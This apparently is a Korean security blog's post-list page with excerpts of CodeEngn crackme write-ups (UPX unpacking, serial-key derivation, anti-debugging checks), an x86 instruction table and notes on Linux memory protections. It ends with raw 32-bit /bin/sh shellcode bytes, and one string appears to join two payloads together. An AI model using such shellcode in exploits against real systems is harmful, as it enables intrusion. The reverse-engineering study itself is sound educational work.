전체 글

------------------------------------------------------------------------------------------------------------------------------- StolenByte는 간단히 얘기해서 패킹을 할때 숨겨논 바이트라고 생각하면 될 것 같다.즉 언패킹을 하게 되면 숨겨논 바이트는 제대로 복구가 안되기 때문에 이상하게 프로그램이 실행 될 수 있다. 이 문제도 UPX로 패킹이 되어있다.가장 아래 분기문으로 가보면 주소가 있다.OEP를 패치를 한 후 실행을 시켜보면 아래와 같은 에러가 뜬다. 뭔가 프로그램에 들어갈 인수가 제대로 들어가지 않은것 같다. 패치를 한 후 OEP를 보면 메시지 박스를 만드는데 필요한 함수의 인자가 부족하다...

------------------------------------------------------------------------------------------------------------------------ UPX로 패킹이 되어있다.UPX패킹은 가장 아래에 압출을 푼 뒤 분기하는 주소가 있는데 그 주소가 OEP이다. 제일 밑에가면 그냥 있다.

------------------------------------------------------------------------------------------------------------------------------ GetVolumeInformation에서 볼륨정보를 얻어온다. 그리고 그 값들을 앞에서부터 4글자를 +1씩 두번 한다.즉 abcd -> bcde -> cdef이런식으로 된다.그리고 그 뒤에 문자열을 붙이면서 시리얼키를 만들게된다. 문제에서 제시한 값은 CodeEngn의 앞의 4글자만 +2씩 한 문자열이된다.

------------------------------------------------------------------------------------------------------------------------------- UPX로 패킹되어있기 때문에 JMP뛰는 곳으로 OEP로 패치를 한 후 진행했다. 분기문 앞의 함수에 인자로 들어가는 두 값을 보면 내가 입력한 aaa와 특정 문자열이 비교되어 EAX값에 따라 분기된다.

------------------------------------------------------------------------------------------------------------------------------- 등록키를 찾는 문제이다. UPX로 패킹이 되어있기 때문에 언패킹을 한 후에 진행을 해야한다. UPX는 압축을 푼 후 가장아래에서 OEP로 점프를 하기 때문에OEP를 00441270으로 패치 한 후 분석했다. 분기 문이 있고 바로 키값이 옆에 나왔다.

------------------------------------------------------------------------------------------------------------------------------- 1초마다 디버거 프로그램을 탐지하며 정상인지 아닌지 문구를 출력해주는 프로그램이다. 올리디버거로 뜯어보면 위와 같은 루틴을 계속해서 하는데,IsDebuggerPresent라는 함수에 따라 분기를 하는곳이 달라진다.

-------------------------------------------------------------------------------------------------------------------------------구글에서 찾으면 바로 나온다.vbastrcmp

-------------------------------------------------------------------------------------------------------------------------------우선 실행파일을 실행 시키면 아래 창과 같이 실행을 시킬 수 가 없다. 따라서 HxD로 열어보면 아래와 같이 뭔가 flag같은 느낌의 문자가 박혀있는걸 볼 수 있다.

------------------------------------------------------------------------------------------------------------------------------- 간단한 문제이다. GetDriveType함수의 리턴 값을 찾는 문제이다.msdn에 친절하게 나와있다.

명 령 어설 명Data TransferMOVMove데이터 이동 (전송)PUSHPush오퍼랜드의 내용을 스택에 쌓는다POPPop스택으로부터 값을 뽑아낸다.XCHGExchange Register/memory with Register첫 번째 오퍼랜드와 두 번째 오퍼랜드 교환INInput from AL/AX to Fixed port오퍼랜드로 지시된 포트로부터 AX에 데이터 입력OUTOutput from AL/AX to Fixed port오퍼랜드가 지시한 포트로 AX의 데이터 출력XLATTranslate byte to ALBX:AL이 지시한 데이블의 내용을 AL로 로드LEALoad Effective Address to Register메모리의 오프셋값을 레지스터로 로드LDSLoad Pointer to DSREG←(..

리눅스 메모리 보호 기법1. ASLR(Address Space Layout Randomization)2. DEP / NX(Not Excutable)3. ASCII-Armor4. Canary 1) ASLR(Address Space Layout Randomization)주소공간을 랜덤하게 배치하는 기법이다. 스택, 힙 등 데이터 영역의 주소를 랜덤으로 프로세스 주소 공간에 배치함으로써 실행할 때 마다 데이터의 주소가 바껴 메모리를 보호하게 된다.#PIE = 바이너리 영역을 랜덤하게 배치하는 기법. 2) DEP / NX(Not Excutable)주메모리를 보호하기 위해 코드가 Stack이나 Heap영역에서 실행할 수 없게 하는 기법이다. DEP가 적용된 상태에서는 BOF공격을 하여도 실행권한이 없어 프로그램에..

32bit (1)가장 기본적으로 쉘을 띄우는 코드\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80bytes : 25 \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80bytes : 26 (2)쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드\x31\xc0\..